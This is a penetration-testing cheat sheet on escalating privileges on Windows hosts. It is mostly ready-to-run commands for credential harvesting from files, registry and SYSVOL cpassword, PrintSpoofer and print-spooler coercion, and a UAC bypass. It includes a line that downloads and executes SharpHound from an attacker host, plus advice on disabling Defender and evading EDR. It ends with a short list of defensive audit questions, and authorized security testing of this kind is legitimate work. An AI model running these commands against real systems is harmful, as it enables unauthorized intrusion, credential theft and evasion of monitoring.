Escalating Privileges on Windows
Once an initial low-privileged foothold has been gained on a Windows host, privilege escalation is the process of finding a path to local administrator or SYSTEM. This covers automated enumeration, manual system checks, harvesting credentials left on disk, abusing SeImpersonatePrivilege, and using a compromised host as a base for Active Directory attacks.
Overview
Most of the techniques covered elsewhere in post-exploitation, credential dumping in particular, assume local administrator or SYSTEM access has already been obtained. Privilege escalation is how that access is reached in the first place, starting from a low-privileged foothold on the box.
Automated Enumeration
Run an automated check before anything manual, it’s faster and rarely misses the obvious paths.
WinPEAS, part of the PEASS-ng suite, is the standard starting point.
PrivescCheck covers similar ground natively in PowerShell, useful where dropping a compiled binary isn’t an option:
Set-ExecutionPolicy Bypass -Scope Process -Force. .\PrivescCheck.ps1; Invoke-PrivescCheck | Tee-Object result.txtCheck current privileges directly at any point:
whoami /privwhoami /all
Manual System Enumeration
Where an automated scanner isn’t available or its output needs confirming, these cover the same ground manually.
systeminfo # OS version, patch levelhostnamewmic qfe get Caption,Description,HotFixID,InstalledOn # installed hotfixesnet users # local accountsnet localgroups # local groupsnet group /domain # domain groups, if domain-joinedipconfig /allroute printarp -Atasklist /SVC # running processes and their servicesnetstat -ano # network connectionsnetstat -abno # network connections with owning binarydir /a-r-d /s /b # writable directoriesUnquoted service paths are still worth checking on older estates. Run from cmd.exe:
sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nulor the PowerShell equivalent, which also filters down to only the paths actually vulnerable (unquoted and containing a space):
sc.exe query state= all | Select-String "SERVICE_NAME:" | ForEach-Object { $_.Line -replace "SERVICE_NAME: ", "" } | ForEach-Object { $service = $_; $binaryPath = (sc.exe qc $service | Select-String "BINARY_PATH_NAME").Line; if ($binaryPath -match 'BINARY_PATH_NAME\s*:\s*".*\s.*"') { Write-Output $service; Write-Output $binaryPath } }
Harvesting Credentials from Disk, Registry and Shares
Plaintext or recoverable credentials left behind in scripts, configs and Group Policy are common enough to always check for.
dir /s *pass* == *cred* == *vnc* == *.config* >> report.txtfindstr /si password *.xml *.ini *.txt >> report.txtreg query HKLM /f password /t REG_SZ /s >> report.txtreg query HKCU /f password /t REG_SZ /s >> report.txtThe PowerShell equivalent, scoped to file types most likely to contain something useful:
gci C:\ -Include *.cs,*.xml,*.config,*.conf,*.cfg,*.ini,*.html,*.aspx,*.asp,*.reg,*.txt -File -Recurse -EA SilentlyContinue | Select-String -Pattern "assword"Group Policy Preferences historically stored local account passwords, encrypted with a key Microsoft later published, in SYSVOL. Any domain user can read them:
findstr /S cpassword %logonserver%\sysvol\*.xmlThe recovered cpassword value can be decrypted offline with any GPP-password decryption tool, since the AES key involved is public.
The same credential search is worth repeating against any file shares reachable from the host:
gci '\\<file-server>\<share>\' -Recurse -EA SilentlyContinue | Select-String -Pattern "assword"
Abusing SeImpersonatePrivilege
Service accounts are frequently granted SeImpersonatePrivilege, confirmed via whoami /priv above, which is enough on its own to reach SYSTEM through one of the “Potato” family of exploits.
PrintSpoofer is the most reliable starting point on modern Windows:
PrintSpoofer.exe -i -c powershellWhere PrintSpoofer doesn’t apply, JuicyPotato, RoguePotato and SweetPotato cover different Windows versions and mitigation states.
A related coercion technique targets the print spooler remotely from Linux rather than locally: forcing a domain controller’s machine account to authenticate over SMB via the print spooler bug, capturing the resulting Net-NTLM hash, and using NetNTLMtoSilverTicket to convert it directly into a Silver Ticket:
dementor.py -u <username> -p '<password>' -d <domain> <listener_ip> <dc_ip>krbrelayx’s printerbug.py is an alternative implementation of the same coercion primitive:
printerbug.py -port 445 <domain>/<username>:'<password>'@<listener_ip> <dc_ip>This is the same forced-authentication family covered on the pass-the-hash and relay attacks page, just aimed at the print spooler instead of EFSRPC. Where a host with unconstrained delegation is already compromised, SpoolSample escalates the same bug straight to a captured domain controller TGT instead of just a relayable hash.
Active Directory Context from a Compromised Host
Where the host is domain-joined, it’s often more useful to collect Active Directory data locally than to wait for a dedicated recon box.
Run SharpHound directly and pull the results into BloodHound, see the BloodHound cheat sheet and the Active Directory enumeration page for collection methods and Cypher queries:
IEX (New-Object Net.WebClient).DownloadString('http://<attacker_ip>:8000/SharpHound.ps1'); Invoke-BloodHound -CollectionMethod All -Verbose -LdapUser '<username>' -LdapPass '<password>'PowerView covers manual AD object enumeration where BloodHound isn’t practical to run.
Once an ACL-based attack path has been identified, aclpwn.py can walk it automatically:
aclpwn -f <source_account> -ft user -d <domain> -du '<username>' -dp '<password>'Domain and trust information is also available directly from a compromised host without any additional tooling:
nltest /dclist:<domain> # domain controllers for a domainnltest /dsgetdc:<domain> # DC for the current sessionnltest /domain_trusts # domain trusts[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()klist # cached Kerberos tickets for the sessionklist tgt # cached krbtgt ticket
UAC Bypass
Where a session is running as a local administrator but still restricted by UAC, one of the simpler GUI bypasses is azman.msc’s help viewer:
1. Run azman.msc2. Open Help3. Right-click inside the help window -> View Source4. In the resulting Notepad window, File -> Open5. Navigate to C:\Windows\System32, right-click cmd.exe -> Open, or Open with -> choose another appKrbUACBypass covers a Kerberos-based alternative.
Known Vulnerabilities
SMBGhost (CVE-2020-0796) affects SMBv3 compression on unpatched Windows 10/Server versions and is worth a quick version check on any host that hasn’t been patched recently.
Further Tooling
- GhostPack Compiled Binaries, pre-built Rubeus, SharpHound, Seatbelt and other GhostPack tools.
- Impacket Static Binaries, for hosts without a Python environment available.
- SharPersist, a Windows persistence toolkit.
- Grouper2, finds vulnerable settings in Group Policy.
- Active Directory Exploitation Cheat Sheet, a broader reference covering SID history abuse and related AD attacks.
OPSEC Considerations
- Automated enumeration scripts (WinPEAS, PrivescCheck) are heavily signatured, disabling Defender’s real-time monitoring first is common but is itself a loud, logged action.
- Potato-family exploits and PrintSpoofer are well known to EDR products, confirm
SeImpersonatePrivilegeis actually present before reaching for them rather than trying each in turn. - SharpHound collection generates a large volume of LDAP and SMB traffic in a short window, consider
--Throttleand--Jitterif running from a compromised host in a monitored environment rather than a dedicated recon box. - Group Policy Preferences credential exposure (
cpassword) is a legacy finding, present it as evidence of a longstanding gap in patching and GPO hygiene rather than a novel discovery.
What Should We Look For?
- Are unattended installs, scheduled tasks, or scripts leaving plaintext credentials on disk?
- Do any Group Policy Preferences XML files in SYSVOL still contain a
cpassword? - Which accounts hold
SeImpersonatePrivilege, and are they services that don’t need it? - Is the host still vulnerable to SMBGhost or another known, patched local privilege escalation?
- Would a low-privileged domain user running SharpHound from this host reveal an exploitable ACL-based attack path?




